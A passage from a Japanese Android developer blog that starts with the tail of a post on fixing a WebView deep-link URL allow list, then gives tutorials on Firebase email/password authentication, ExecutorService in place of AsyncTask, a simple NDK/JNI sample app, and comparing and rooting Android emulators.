class WebViewActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_web_view) val allowList = resources.getStringArray(R.array.allow_url_list) val webView = findViewById<WebView>(R.id.webView) val uri = intent.data val query = Uri.parse(uri?.getQueryParameter("data")) for (url: String in allowList){ if (query.scheme.equals("https") && query.host.equals(url)){ webView.loadUrl(query.toString()) }else{ Toast.makeText(this, "指定されたURLはリストにありません。", Toast.LENGTH_LONG).show() } } } }
テスト
先ほどの脆弱性版でテストしたコードで試してみると
無事、弾かれましたね!!
まとめ
最近はずっと開発の勉強をしていたので、今回は久しぶりにAndroidSecurityに触れる良い機会になりました。
また、LACの社内ブログがとても分かりやすく書かれてあったのでとても簡単に実装出来ましたし、現実にあるアプリにもこういった脆弱性は結構ありそうだと感じました。
参考・引用
Firebaseを使ってメール/パスワード認証を実装してみた
前々からFirebaseについて色々と勉強したいと思っていたが、5月のGWで時間に余裕が出来て勉強したのでその内容を共有するということと、メモ書きとして残すために記事を書きました。
目次
- 目次
- Firebaseって?
- 筆者の環境
- サンプルアプリの作成
- まとめ
- 参考・引用
Firebaseって?
まずFirebaseを知らない方に簡単に説明すると、Firebaseとは
Firebaseは、2011年にFirebase, Inc.が開発したモバイル・Webアプリケーション開発プラットフォームで、その後2014年にGoogleに買収された。 2020年3月現在、Firebaseプラットフォームには19の製品があり、9GAGを含む150万以上のアプリが利用されている。
とあり、Firebaseを使うことで様々なサードパーティーの認証を実装出来たり、Firebaseにデータを保存したり、クライアント端末に通知を送信する...etcといったことが比較的簡単に実装できるようになります。
筆者の環境
IDE:AndroidStudio4.21 ホストPC:Windows10 端末:Galaxy S8 SCV36 端末OS:Android9 使用言語:Java
サンプルアプリの作成
それでは今回の記事で作るサンプルアプリを紹介します。
また、これ以降ではコード前文の解説ではなく抜粋しての解説ですので、全ての処理を知りたい方はこちらのコードの全文を見ながら読むことを推奨します。
概要
起動直後のアプリのトップ画面は以下の画像のようになっています。
アカウントがある場合は「メールアドレスとパスワード」を入力してログインボタンをタップするとログインできます。
アカウントが無い場合は「SignUp」のスイッチを切り替えて、同じく「メールアドレスとパスワード」を入力してサインアップします。
なお、今回は特にメールアドレスの存在確認といった処理は行いません
(※後日、記事を出すかも…?)
「サインイン」と「サインアップ」の両方とも、認証フローが正常に終了すれば画面下部にユーザ情報が表示されるようにしています。
反対に、認証フローが失敗(メールアドレス or パスワードが違う)したならばトーストを表示させるようにしています
また、画面右上のオプションメニューからサインアウトすることが出来るようにもしています。
xmlの編集
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#dfe" android:orientation="vertical" tools:context=".MainActivity"> <TextView android:layout_width="match_parent" android:layout_height="wrap_content" android:gravity="center" android:layout_marginTop="15dp" android:text="@string/hello" android:textSize="25sp" /> <TextView android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/description" android:layout_marginTop="5dp" android:text="@string/description" android:textSize="20sp" /> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:weightSum="1.1" android:orientation="horizontal"> <TextView android:id="@+id/mail_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15dp" android:text="@string/mail" android:textSize="17sp" /> <EditText android:id="@+id/mail_edit" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_marginTop="15dp" android:layout_marginStart="5dp" android:layout_weight="1" android:hint="@string/sample_mail" android:maxLines="1" android:maxLength="50" android:inputType="textEmailAddress"/> </LinearLayout> <com.google.android.material.textfield.TextInputLayout style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginTop="2dp" android:layout_marginStart="5dp" android:layout_marginEnd="5dp" android:hint="@string/sample_pass" app:passwordToggleEnabled="true"> <com.google.android.material.textfield.TextInputEditText android:id="@+id/password_edit" android:layout_width="match_parent" android:layout_height="wrap_content" android:inputType="textPassword" android:maxLines="1" android:maxLength="20"/> </com.google.android.material.textfield.TextInputLayout> <Button android:id="@+id/execute_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center" android:layout_marginTop="10dp" android:text="@string/login_button" android:onClick="execute" /> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal" android:weightSum="1"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:text="@string/signup" android:layout_weight="0.95" android:gravity="right"/> <Switch android:id="@+id/signup_switch" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="10dp" android:layout_weight="0" tools:ignore="UseSwitchCompatOrMaterialXml" /> </LinearLayout> <TextView android:layout_width="match_parent" android:layout_height="0dp" android:id="@+id/result" android:layout_weight="1" android:textSize="15sp" /> </LinearLayout>
最新のAndroidStudioを使ってる方はプロジェクトを作成した時点でxmlは「ConstraintLayout」になっていると思いますが、今回は「LinerLayout」を使用します。
com.google.android.material.textfield.TextInputLayout
app:passwordToggleEnabled="true"
上記の記述でユーザーは入力したパスワードをパスワード欄右のアイコンから確認できるようになります。
com.google.android.material.textfield.TextInputEditText
このフィールド内でパスワード入力欄の様々な設定(文字数制限やインプットタイプの指定等)が出来ます。
Firebaseとの連携設定
レイアウトや文字の記述が終わったら次は処理の記述なのですが、その前にFirebaseでアプリの登録を行い、連携を完了させておきましょう。
この記事では詳しい解説は行いませんが、Firebaseの公式ドキュメントでやり方が記述されているのでそちらをご覧ください。
SwitchListenerの定義
まず最初に「サインイン」と「サインアップ」の切り替えを行う「スイッチ」の処理を記述しましょう。*1
private class SignUpSwitchListener implements CompoundButton.OnCheckedChangeListener{ @Override public void onCheckedChanged(CompoundButton button, boolean isChecked){ flag = isChecked; if (flag){ execute_b.setText(getString(R.string.signup)); }else { execute_b.setText(getString(R.string.login_button)); } } }
onCheckedChanged
このメソッドの第2引数にswitchのon/offがtrue
とfalse
で格納されています。
そしてそれをflagというboolean型のグローバル変数に格納してその後の条件式や、他のメソッドでも用います。
ここではswitchの切り替えによってボタンテキストの中身を変更しています。
サインアップ時の処理
次に別クラスAuthenticationFlowClass
を作成してその中にまずはサインアップ処理を記述していきます。
public class AuthenticationFlowClass extends MainActivity{ private final FirebaseAuth mAuth; private final MainActivity mainActivity; AuthenticationFlowClass (MainActivity mainActivity){ this.mAuth = MainActivity.mAuth; this.mainActivity = mainActivity; } void CreateUser(String mail, String pass){ mAuth.createUserWithEmailAndPassword(mail, pass) .addOnCompleteListener(this, new OnCompleteListener<AuthResult>() { @Override public void onComplete(@NonNull Task<AuthResult> task) { if (task.isSuccessful()){ Log.d("success","createUserWithEmail:success"); FirebaseUser user = mAuth.getCurrentUser(); mainActivity.updateUI(Objects.requireNonNull(user)); }else { Log.w("Error","createUserWithEmail:failure",task.getException()); Toast.makeText(mainActivity,"エラーが発生しました",Toast.LENGTH_SHORT).show(); } } }); } }
createUserWithEmailAndPassword
この内部でアカウント作成成功時と失敗時の処理がそれぞれ行われています。
第1引数にメールアドレス、第2引数にパスワードを渡して呼ぼ出します。
この時のmAuthはMainActivityのonCreate*2でFirebaseAuth.getInstance()
で初期化されています。
成功時はupdateUIに現在のログインしているユーザの情報を取得するgetCurrentUser()
によって格納されたFirebaseUser
を渡します。
(※updateUIについては後述します)
失敗時はトーストでエラーが発生しました
と表示されるようになっています。
サインイン時の処理
void SignIn(String email, String pass){ mAuth.signInWithEmailAndPassword(email, pass) .addOnCompleteListener(this, new OnCompleteListener<AuthResult>() { @Override public void onComplete(@NonNull Task<AuthResult> task) { if (task.isSuccessful()){ FirebaseUser user = mAuth.getCurrentUser(); mainActivity.updateUI(Objects.requireNonNull(user)); }else { Toast.makeText(mainActivity,"Authentication failed.",Toast.LENGTH_SHORT).show(); } } }); }
signInWithEmailAndPassword
この内部でサインインの認証処理と、その結果を処理します。
第1引数はメールアドレス、第2引数はパスワードを渡して呼び出します。
成功時と失敗時の処理はサインアップ時と然程違いはありません。
updateUI処理
このupdateUI
ではメイン画面の下部にユーザ情報を表示させる画面表示処理です。
protected void updateUI(FirebaseUser user){ String email = "Email:" + user.getEmail() + "\n"; String emailVerified = "Verified:" + user.isEmailVerified() + "\n"; String uid = "Uid:" + user.getUid() + "\n"; String result_str = email + emailVerified + uid; resultText.setText(result_str); }
getEmail
FirebaseUserにはそれぞれの呼び出し元においてgetCurrentUser()
された現在のログインしているユーザの情報が格納されています。
その中でも`getEmail
はユーザのメールアドレスを取得するメソッドです。
user.isEmailVerified
このメソッドにはユーザのメールアドレスが認証されている(正しいメールアドレス)かどうかの情報を取得できるメソッドです。
ここでは解説していない確認メールの送信処理を別途、アプリ内に記述して処理を行うことでこの値がtrue
になります。
getUid
現在ログインしているユーザのユーザーID(一意の値)を取得することが出来るメソッドです。
認証フローを呼び出す
サインイン時の処理とサインアップ時の処理で認証フローの定義は行ったので、次はボタンを押したらその処理が呼び出されるコードを記述*3していきます。
public void execute(View view) { String mail_str = mail_e.getText().toString(); String pass_str = pass_e.getText().toString(); EditCheck(mail_str,pass_str); } private void EditCheck(String email,String pass){ if (email.length() > 0 && pass.length() > 0) { if (flag){ afc.CreateUser(email, pass); }else { afc.SignIn(email, pass); } } else if (email.length() == 0) { Toast.makeText(this, "mailアドレスが入力されていません", Toast.LENGTH_SHORT).show(); if (pass.length() == 0) { Toast.makeText(this, "passwordが入力されていません。", Toast.LENGTH_SHORT).show(); } } else { Toast.makeText(this, "passwordが入力されていません。", Toast.LENGTH_SHORT).show(); } }
execute
メールアドレスとパスワードを入力するエディットボックスからそれぞれ文字列を抽出して変数に代入しています。
またそれをEditCheck
という入力値チェックの関数に渡しています。
EditCheck
レイアウトファイルにも記載してメールアドレスとパスワードには文字数制限を掛けておきましたが、念のためJavaファイルの方でも文字数制限を記述しておきます。
また、そもそも入力が行われていないときや、制限文字数を超えて入力した場合はトーストを表示させて、認証フローに処理が飛ばないようにしています。
適切な文字数が入力された場合には、SwitchListenerで変化するflag
によって処理を分岐して認証処理を開始*4します。
サインアウト処理
アプリをアンインストールしたり、開きなおせば必然的にサインアウトも行われるでしょうが、それでは少し不便なのでユーザが明示的にサインアウトを行えるようにしましょう。
@Override public boolean onCreateOptionsMenu(Menu menu){ MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu_options_menu_list,menu); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item){ int itemId = item.getItemId(); if (itemId == R.id.signout){ mAuth.signOut(); finish(); overridePendingTransition(0,0); startActivity(getIntent()); overridePendingTransition(0,0); } return super.onOptionsItemSelected(item); }
signOut
ここではオプションメニューを用いてサインアウトを行えるようにしています。
(※オプションメニューの詳しい解説は行いません)
サインアウトを行うにはFirebaseAuth.getInstance.signOut
でOKです。
onStart()のOverride
最後に現在ログインしていてサインアウトをしていないにも関わらず、アプリを開きなおすたびにメールアドレスとパスワードの再入力を求めるのはセキュリティの高いアプリ(銀行...etc)でない限り、不便です。
よってアクティビティライフサイクルのonStartメソッドをオーバーライドしてログインが行われていたら、updateUI
を呼び出すような処理を追加します。
@Override public void onStart(){ super.onStart(); FirebaseAuth mAuth = FirebaseAuth.getInstance(); FirebaseUser currentUser = mAuth.getCurrentUser(); if (currentUser != null){ updateUI(currentUser); } }
まとめ
今回はFirebaseでメールアドレスとパスワードを用いた認証を行う方法を解説しました。
やはりFirebaseを使うと自分でユーザ認証の実装を行うという面倒くさいことをしなくてよくなるのは大きなメリットですよね。
参考・引用
https://firebase.google.com/docs/android/setup?hl=ja
Android11でAsyncTaskが非推奨になった話
少し前の情報なのですが、Android11でAsyncTask
が非推奨となったという話を聞きました。
当時の自分はまだAndroidアプリの開発について勉強していた時期で、書籍を使って勉強していたのですが勿論、その書籍では当然AsyncTask
を使った手法で書かれていました。
そして、最近このことを知ったので実際にその代替実装手法としてどのようなものがあるのかを知るために調べて実装してみたので、その時のメモとして記事に残しました。
目次
AsyncTaskって?
そもそもAsyncTaskって何?って方に説明すると、Androidで非同期処理
と画面UI
の更新を同時に行うのを実装するために使うクラスのことです。
次に非同期処理の説明をするのですが、ここで気になる方もいると思います。
「非」ということは「非」ではない処理もあるのか?
結論から言うと、勿論あります!
それを同期処理
と言います。
同期処理と非同期処理の違い
では、同期処理と非同期処理の違いとは何でしょうか?
一言でいえば処理を順次に行うか、並列で行うかの違いです。
この説明だと少しイメージしにくい感じもするので、料理に例えたチャート(流れ図)を書いてみました。
同期処理
この処理では、料理を初めて1品目を作ってから2品目を作り始めています。
逆に言えば「1品目を作り終えるまでは2品目の作成に入れない」ということです。
つまり、1品目で膨大な時間が掛かってその間に2品目を作れる時間があっても作り始めることは出来ないということです。
そしてこのイメージを実際のアプリに適応すると以下のようになります。
1.処理1を実行(時間が掛かる処理) 2.処理2を実行(画面表示系の処理) 3.処理の終了
こうするとアプリとしては画面処理をしたいが、処理1が終わっていないので画面表示系の処理を行うことが出来ないことになってしまいます。
そしてユーザには「アプリがフリーズしたのか?」という風に思われることになってしまいます。
非同期処理
この処理では、1品目の食材を切った後にその食材を炒めながら2品目の食材を切り始めています。
こうすることで、たとえ1品目の調理に時間が掛かったとしても2品目の調理も並行して進めているのでさほど大きな問題は起きません。
これも先ほどと同様に、実際のアプリに適用すると以下のようになります。
1.処理1を実行(時間が掛かる処理) 2.処理2を実行(画面表示系の処理 -> 処理1を待たない) 3.処理の終了
よってアプリは処理1の結果を待たずに画面表示系の処理を行うことが出来るので、ユーザにアプリがフリーズしたようには思われなくなります。
これが非同期処理の強みです!!
実際に見てみる
同期処理と非同期処理の違いで同期処理と非同期処理の違いを文字とチャートで説明したので、今度は実際にアプリとして確認してみましょう!
同期処理
まず最初に、同期処理のアプリの流れを説明します。
ソース全体はこちらに掲載しています。
1.アプリが起動する 2.SlowProcessClass内でViewTextが実行される(処理が遅い) 3.画面表示が行われる 4.WebViewが読み込まれる
では実際にこちらからapkをダウンロード・インストールして、アプリを実行してみてください。
これからは、このアプリの処理についてもう少し詳しく説明します。
2.SlowProcessClass内でViewTextが実行される(処理が遅い)
Thread.sleep(10 * 1000);
SllowProcessClass
内のViewText
メソッドに上記の記述があるので、10000ミリ秒(=10秒)の間、処理が止まっている。
この間3.画面表示が行われるが実行できないので上記画像の状態で10000ミリ秒(=10秒)の間、画面が動かずユーザからはアプリがフリーズしているかのように見える。
処理が終了すると
This process was slow...
と表示される。
3.画面表示が行われる
アプリ名や「HelloWorld!」といった文字列が表示される。
4.WebViewが読み込まれる
最後にWebViewとしてGoogleのサイトが表示されたと思います。
非同期処理
まず最初に、同期処理のアプリの流れを説明します。
ソース全体はこちらに掲載しています。
1.アプリが起動する 2.SlowProcessClass内でViewTextが実行される(処理が遅い -> 非同期処理) 3.画面表示が行われる(2の処理の結果を待たない) 4.WebViewが読み込まれる(2の処理の結果を待たない)
では実際にこちらからapkをダウンロード・インストールして、アプリを実行してみてください。
これからは、このアプリの処理についてもう少し詳しく説明します。
(処理が終了した順に説明していくので、アプリの処理の流れの時の順序と前後して分かりにくくなるかもしれませんがすいません…。)
3.画面表示が行われる(2の処理の結果を待たない)
2.SlowProcessClass内でViewTextが実行される
が非同期処理として実行されているため、上記画像のように既にアプリ名
やHelloWorld!
等の画面表示系の処理が行われています。
4.WebView
WebViewとしてGoogleのホームページが表示されたと思います。
2.ViewTextメソッドの処理が終了する
ここでようやく、非同期で記述した処理が全て終了して
This process was slow...
と表示される。
非同期処理の記述方法
それでは実際にどのように非同期処理を記述したらいいのかを説明していきます。
(これから説明する内容はあくまで手法の1つです)
ExecutorServiceの利用
ExcutorServiceとは
終了を管理するメソッド、および1つ以上の非同期タスクの進行状況を追跡するFutureを生成できるメソッドを提供するExecutorです。
つまりこれを使えばスレッドを分割して上手く非同期の機能を実装出来そうです。
サンプルコードは以下のような感じです。
executorService = Executors.newSingleThreadExecutor(); executorService.execute(new Runnable() { @Override public void run() { // バックグランドで処理したい内容を記述 String result = spc.ViewText(); } }); private void shutdown(){ if (executorService == null){ return; } try { executorService.shutdown(); if (!executorService.awaitTermination(1L, TimeUnit.SECONDS)){ executorService.shutdownNow(); } }catch (InterruptedException e){ executorService.shutdownNow(); }finally { executorService = null; Thread.currentThread().interrupt(); } } @Override protected void onDestroy(){ super.onDestroy(); shutdown(); }
ここで注意すべきはExecutorService
の終了を忘れないようにすることです。
(※ExecutorServiceを使ったらシャットダウンするくせを付けておくと良いと思います)
ExecutorService
をシャットダウンする理由としては以下のような理由が挙げられます。
スレッドプールはタスクを待ち続けるので、スレッドプールが待機したままになるため、 メインスレッドが終了してもプログラムは実行したままになる。
UIを更新する方法
スレッドを分けた場合でありがちなミスなのですが、UIの更新はメインスレッドで行う必要があることに注意してください。
この問題を解決するのがHandler
です。
Handler
のpostメソッド
内にUIの更新処理をバッググラウンド処理の内部に追記します。
サンプルコードは以下のようになります。
// この上にはバックグラウンド処理が記述されている final Handler handler = new Handler(); handler.post(new Runnable() { @Override public void run() { textView.setText(result); } });
まとめ
今までAsyncTask
を使ってきた方には、ExecutorService
とHandler
を使った非同期処理はとても複雑に見えることでしょう。
(実際私は理解するのにかなり時間が掛かりました(笑))
と言っても、今はまだ非推奨になってから時間があまり経っていないので問題となっていませんが、この先のことを考えるとこのままずっとAsyncTask
を使い続けるわけにはいかないですし、だからといって非同期処理を使わないというのは論外です。
なので、ぜひこの方法を覚えて積極的に使っていきましょう!!
引用・参考情報
https://outofmem.tumblr.com/post/94711883294/android-executor-3
https://rightcode.co.jp/blog/information-technology/android-os-asynctask
Android NDKを使ってみた
AndroidNDKを使って簡単なアプリを作ってみようと思ったのですが、ドキュメントが古かったり少なかったりして大変だったのでメモとして記事にしました。
目次
NDKって何?
NDK(Native Development Kit)は、Android で C や C++(以下、ネイティブ)のコードを使用できるようにするツールセットです。
NDK のプラットフォーム ライブラリを活用することで、ネイティブ アクティビティを管理し、センサーやタップ入力など、実際のデバイスのコンポーネントにアクセスできるようになります。それほど経験のない Android プログラマーの場合、アプリを開発する際に必要となるのは Java コードとフレームワーク API に限られるため、通常、NDK はツールとして適していません。NDK が役に立つのは、以下のいずれかに該当する場合です。
・低レイテンシを実現したり、ゲームや物理学シミュレーションなど、演算負荷の高いアプリを実行したりするために、デバイスからできる限り高いパフォーマンスを引き出す必要がある場合。
・独自または他のデベロッパーの ネイティブライブラリを再利用する場合。
とあるように、簡単に言うと本来Javaで記述するAndroidアプリをCやC++で記述できるようにするためのツールということです。
私がこの先、演算不可の高いアプリを開発するかは分かりませんが(笑)
NDKの導入
まずAndroidStudioを起動して、画面左上の方にある「File」→「Settings」をクリック。
すると設定画面が開くと思うので「Appearance & Behavior」→「System Settings」をクリックした後、「Android SDK」を選択しましょう。
ここでAndroid SDKに関する様々なツールをインストール出来ます。
「Android NDK」のインストールは赤く囲んでいる部分の「SDK Tools」で行うので、そこをクリックしてください。
後は上記画像にも既に表示されているように「NDK(Side by side)」と「CMake」のチェックボックスにチェックを付けてください。
この時、「CMake」のチェックボックスの付け忘れには注意してくださいね!
インストールはネット環境にもよりますが、10分くらいかかると思うので気長に待ちましょう。
NDKを使ってみよう
NDKの導入にてAndroidでネイティブコードを扱うためのツールのインストールは終わりました。
そこで、サンプルアプリをNDKを用いて実装してみましょう。
先にサンプルアプリを動かしてみたい方はこちらをクリックしてapkを端末にインストールして起動してみてください。
サンプルアプリの挙動
今回扱うサンプルアプリの簡単な挙動を以下に示しておきます。
1.EditBoxに自分のニックネームを入力 2.ニックネームをネイティブコードで書かれた関数に渡す 3.関数でメッセージの付加を行った文字列をMainActivityに返す。
ソースファイルを配置するディレクトリの作成
まずはネイティブコードを記述しておくためのソースファイルを配置するディレクトリの作成を行います。
プロジェクトエクスプローラの赤く囲んだ部分をクリックして、「Project」を選択してください。
その後、「src」ディレクトリの配下にある「main」ディレクトリで右クリック→「New」→「Directory」をクリックしましょう。
ディレクトリ名は「cpp(jniでもいけるようです)」としてください。
ソースファイルの作成
ソースファイルを配置するディレクトリの作成にて作成したディレクトリで右クリックをして「New」→「C/C++ source File」をクリックしましょう。
ファイル名は今回は「hello」、Typeは「.cpp」にでもしておきます。
これでソースファイルの作成が完了しました。
(※記述自体はもう少し後で行います)
CMakeLists.txtを作成する
次に、CMakeListsと呼ばれるC/C++のビルド設定ファイルを作成、記述していきます。
ファイルを生成する場所はcpp直下で大丈夫です。
cmake_minimum_required(VERSION 3.4.1) add_library( # 識別用ライブラリ名を指定 hello # 共有ライブラリとしてビルドさせる SHARED # C/C++ソースへの相対パス指定 hello.cpp ) target_link_libraries( hello android log )
add_library
ここには作成したC/C++ライブラリの名前・ビルド方法・相対パス指定します。
今回はhello.cppの設定を追加しています。
注意点としては、「C/C++ソースへの相対パス指定」では相対アドレスを指定する必要があることです。
target_link_libraries
ここには独自ライブラリ名、android, log を指定しておきます。
こうすることでC/C++側でもログ出力が使えるようになります。
build.gradle(:app)の設定
ここの設定は簡単です。
android{}の中に
externalNativeBuild{ cmake{ path "src/main/cpp/CMakeLists.txt" } }
と記述するだけです。
MainActivityに関数呼び出し処理を記述する
次に、ソースファイルの作成にて作成したソースファイルに内容を記述していく前に先に関数の呼び出し処理を記述しておくとソースファイル内に関数定義を記述するで便利なので、関数の呼び出しを記述します。
public native String getMessage(String msg); static { System.loadLibrary("hello"); }
System.loadLibrary(hoge)
ここのhoge
の部分は、CMakeLists.txtを作成するで定義した「識別用ライブラリ名」と一致させる必要があるので注意しましょう。
ソースファイル内に関数定義を記述する
ここから今回はC++で関数の定義を記述していくのですが、先にMainActivityに関数呼び出しを記述していると関数名を記述しただけで自動である程度の雛形を作ってくれます。
extern "C" JNIEXPORT jstring JNICALL Java_com_websarva_wings_android_ndksample_MainActivity_getMessage(JNIEnv *env, jobject thiz,jstring j_name) { // TODO: implement getMessage() const char *name = env->GetStringUTFChars(j_name, 0); std::string msg = "Hello "; msg+= name; msg += "\nWelcome to JNI World!!"; return env->NewStringUTF(msg.c_str()); }
getMessage関数の処理
Hello hoge Welcome to JNI World!!
という文字列を生成してJavaコードに返す。
extern "C"
この記述をすることで、上コードのようにextern "C"としてマングリング(C++特有の機能)をさせなくする。
C++の場合、こうしないとビルドエラーが出ます。
env->NewStringUTF(hoge.c_str());
ネイティブ側からJavaに返すときはenv->NewStringUTF(msg.c_str());
のように変換する必要あります。
MainActivityの処理を記述
最後にMainActivityに残りの処理を記述していきます。
このサンプルアプリの全コードは以下にあります。
https://github.com/daiki0508/NDKSample
package com.websarva.wings.android.ndksample; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.text.Editable; import android.text.TextWatcher; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; public class MainActivity extends AppCompatActivity implements TextWatcher { private EditText editText; private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); editText = findViewById(R.id.edit); editText.addTextChangedListener(this); } public void Execute_NDK(View view){ String name = editText.getText().toString(); String result = getMessage(name); textView = findViewById(R.id.result_text); textView.setText(result); } public native String getMessage(String msg); static { System.loadLibrary("hello"); } @Override public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) { } @Override public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) { } @Override public void afterTextChanged(Editable editable) { String name = editable.toString(); Button button = findViewById(R.id.button); // ユーザーのニックネームが未入力の場合はボタンを有効にしない if (name.length() > 0){ button.setEnabled(true); }else { button.setEnabled(false); } } }
まとめ
NDKを使ってネイティブコードで簡単なサンプルアプリを作ろうと思ったのですが、意外にも記事の情報が古くてビルド設定系でエラーが多発していました(笑)
引用・参考情報
https://pisuke-code.com/android-how-to-install-ndk/
https://github.com/android/ndk-samples
https://android-developers.googleblog.com/2020/02/native-dependencies-in-android-studio-40.html
Androidエミュレータの紹介とroot化
最近、私のPCに入れているAndroidエミュレータが増えてきたので整理する意味でも一度まとめてみようと思い書きました。
あくまでまとめなので、エミュレータの詳しいインストール方法等は説明しません!
目次
エミュレータって何?
そもそもAndroidエミュレータって何?って方に説明すると
Androidエミュレーターとは、パソコン上に仮想のAndroid OSをインストールし、パソコンでAndroidアプリを使用できるソフトである。 Androidのスマホと同様に、アプリの対応により、相応のAndroid OSが必要となる
です。
つまりWindowsやMac、LinuxといったPCでモバイルアプリ(某パズルゲーム)等が出来るようになるということですね。
あとはそれなりにPCのスペックを必要とする点も特徴ですね。
紹介するエミュレータ
私が今回紹介するエミュレータは3つです。
(私のPCに入っているAndroidエミュレータが3つなので)
Android Studio 標準搭載エミュレータ
まあ、アプリを制作していて、なおかつAndroidStudioで開発を行っている方なら必ず入っているIDEなので当然ですよね(笑)
必要最低スペック
あくまで必要最低スペックなので、以下のPCスペックでサクサク動くかと言われると…。
(特にメモリは8GBじゃないと動かないかも)
Microsoft® Windows® 7/8/10 (64-bit)
4 GB RAM minimum
4 GB of available disk space minimum
1280 x 800 minimum screen resolution
メリット
- 開発の時にこまめにデバッグしたい時に便利
- 無駄なセットアップはいらない(デフォルトでついてくるので)
- 様々なAndroidOSを入れられる
- 広告が無い
デメリット
- root権限を取得できない
- 種類の異なる多くのAndroidOSを入れていくと容量が増えていく
LDPlayer
あれ?AndroidStudioのデメリットってあまり私に関係ない?
と思った方もいるのではないでしょうか?
実はこのデメリットが結構、面倒です。
私はAndroidSecurityを勉強中ということもあり、モバイル端末内に様々なセキュリティチェックツールを入れています。
そうです。実はこのツールのほとんどは端末のroot権限を必要とします。
勿論、必要ないという方には関係ないかもしれませんが…。
そんな時に便利なのが「LDPlayer」です。
必要最低スペック
・x86/x86_64プロセッサー(IntelまたはAMD CPU)
・WinXP SP3 / Win7 / Win8 / Win8.1 / Win10
・OpenGL 2.0的Windows DirectX 11 / Graphic驅動程式
・最低4GBのシステムメモリ (RAM)
・最低36GBのハードディスク空き容量
・CPU仮想化機能(Intel VT-x / AMD-V)はBIOSで有効にする必要があります
お気づきの方もいるかと思いますが、CPU仮想化機能(Intel VT-x / AMD-V)
とある通り、WindowsのHyper-V
の機能を必要とします。
よってWSL
等をインストールしている方は併用できません。
メリット
- root権限の切り替えが可能(非root化も可能)
- 1つのOSバージョンのみなので容量は少ない
デメリット
- Android7.1 / 5.1 しか入れられない
- 広告がある
Genymotion
上記の「LDPlayer」のデメリットを解消するエミュレータがこちらの「Genymotion」です。
また、私の環境の場合ではfrida等のツールがAndroid7のバージョンだとクラッシュしたりしたので入れました。(後述のデメリットの点から必要な時以外はLDPlayerを使ってます)
必要最低スペック
Windows Vista以降のOS(32bit/64bitのどちらにも対応)
VT-x または AMD-V
OpenGL 2.0
ハードディスクに400MB以上の空き
RAM 2GB以上
勿論、このエミュレータもIntel VT-x / AMD-V
とある通り、WindowsのHyper-V
の機能を必要とします。
よってWSL
等をインストールしている方は併用できません。
メリット
- Android4.4 ~ 10.0までの幅広いバージョンを入れられる
- root化が可能
- 広告が無い
デメリット
- セットアップが大変
- VirtualBoxが必須
- rootと非rootが切り替えられない
- 起動直後は少し重い
- 種類の異なる多くのAndroidOSを入れていくと容量が増えていく
- 無料版だと機能が一部制限
エミュレータのroot化
ここからは紹介するエミュレータで紹介したエミュレータをroot化する方法についてです。
Android Studio 標準搭載エミュレータ
はい、こちらはroot化出来ないですね。
LDPlayer
まずエミュレータを起動しましょう。
起動したら上記の画像の赤く囲んでいる部分を選択してください。
LDPlayerの設定画面が開かれます。
次にその設定画面から「他の設定」をクリックします。
そうすると、赤く囲んである通り「ROOT権限」の設定の有効化、無効化の切り替えがあるので、無効になっていたら有効にしましょう。(いつでも切り替えられます)
ちなみに「ADBデバッグ」の設定も「ローカルデバッグ」にしておきましょう。
これでAndroidStudioを用いたログの取得やデバッグ、adbの使用が可能になります。
Genymotion
こちらのエミュレータ、昔は「Genymotionconfigration」というアプリがセットアップした端末内に入っていたのですが、最近では無くなったようです。
そのため、rootと非rootの切り替えは出来なくなりました。
(SuperSUを入れれば問題ないらしいが正直、面倒くさい)
しかし、切り替えが出来なくなっただけでroot化は出来ます。
その手法とは?
…はい、実はエミュレータを起動した時点でroot化されています。
なので特にすることは無いです。
まとめ
今回は私が持っているエミュレータの機能を整理するためにこの記事を書きました。
なので、詳しいセットアップの方法が知りたかったという方はごめんなさい…。
ちなみに私は3つのエミュレータを用途によって使い分けている感じですね。
また、今回記事の中で出てきた「frida」等のツールについてはまたの機会に!!